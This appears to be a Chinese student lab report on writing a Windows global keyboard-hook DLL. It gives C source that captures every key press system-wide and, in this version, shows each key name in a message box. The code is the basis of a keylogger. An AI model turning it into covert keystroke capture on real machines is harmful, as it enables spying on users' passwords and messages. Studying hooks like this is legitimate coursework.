一、 实验要求
编写键盘钩子程序,实现记录用户按键
- 编写键盘钩子dll,导出startHook, stopHook两个函数,并完成消息过滤处理函数
- 编写加载程序,实现启动时调用startHook,退出时调用stopHook
二、 源代码
#include “windows.h”
#include “stdio.h”
#define MYLIBAPI_DLL
#include “dll.h”
#pragma warning(disable:4996)
HINSTANCE hDll;
HHOOK hHook;
PCSTR GetKeyName(int nCode);
BOOL UnHook();
int RecordKey(LPARAM lParam);
BOOL APIENTRY DllMain(void * _HDllHandle,unsigned _Reason,void * _Reserved)
{
switch(_Reason)
{
case DLL_PROCESS_ATTACH:
hDll = (HINSTANCE)_HDllHandle;
break;
case DLL_PROCESS_DETACH:
hDll = NULL;
break;
default:
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wPara,LPARAM lPara)
{
if(nCode < 0)
{
return CallNextHookEx(hHook,nCode,wPara,lPara);
}
if(0==(UINT)lPara>>31)
{
RecordKey(lPara);
}
return CallNextHookEx(hHook,nCode,wPara,lPara);
}
MYLIBAPI BOOL StartHook()
{
hHook = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hDll,0);
if(!hHook)
{
return FALSE;
}
return TRUE;
}
MYLIBAPI BOOL UnHook()
{
UnhookWindowsHookEx(hHook);
return TRUE;
}
int RecordKey(LPARAM lParam)
{
TCHAR szKeyName[50];
GetKeyNameText((LONG)lParam, szKeyName, 50);
MessageBox(NULL, szKeyName, L"3170706006", MB_OK);
return 0;
}
三、 程序运行
四、总结
通过本次实验,我对编写键盘钩子dll,导出startHook, stopHook两个函数,并完成消息过滤处理函数,编写加载程序,实现启动时调用startHook,退出时调用stopHook,有了一定的了解,希望以后可以进一步学习,应用到更广泛的领域。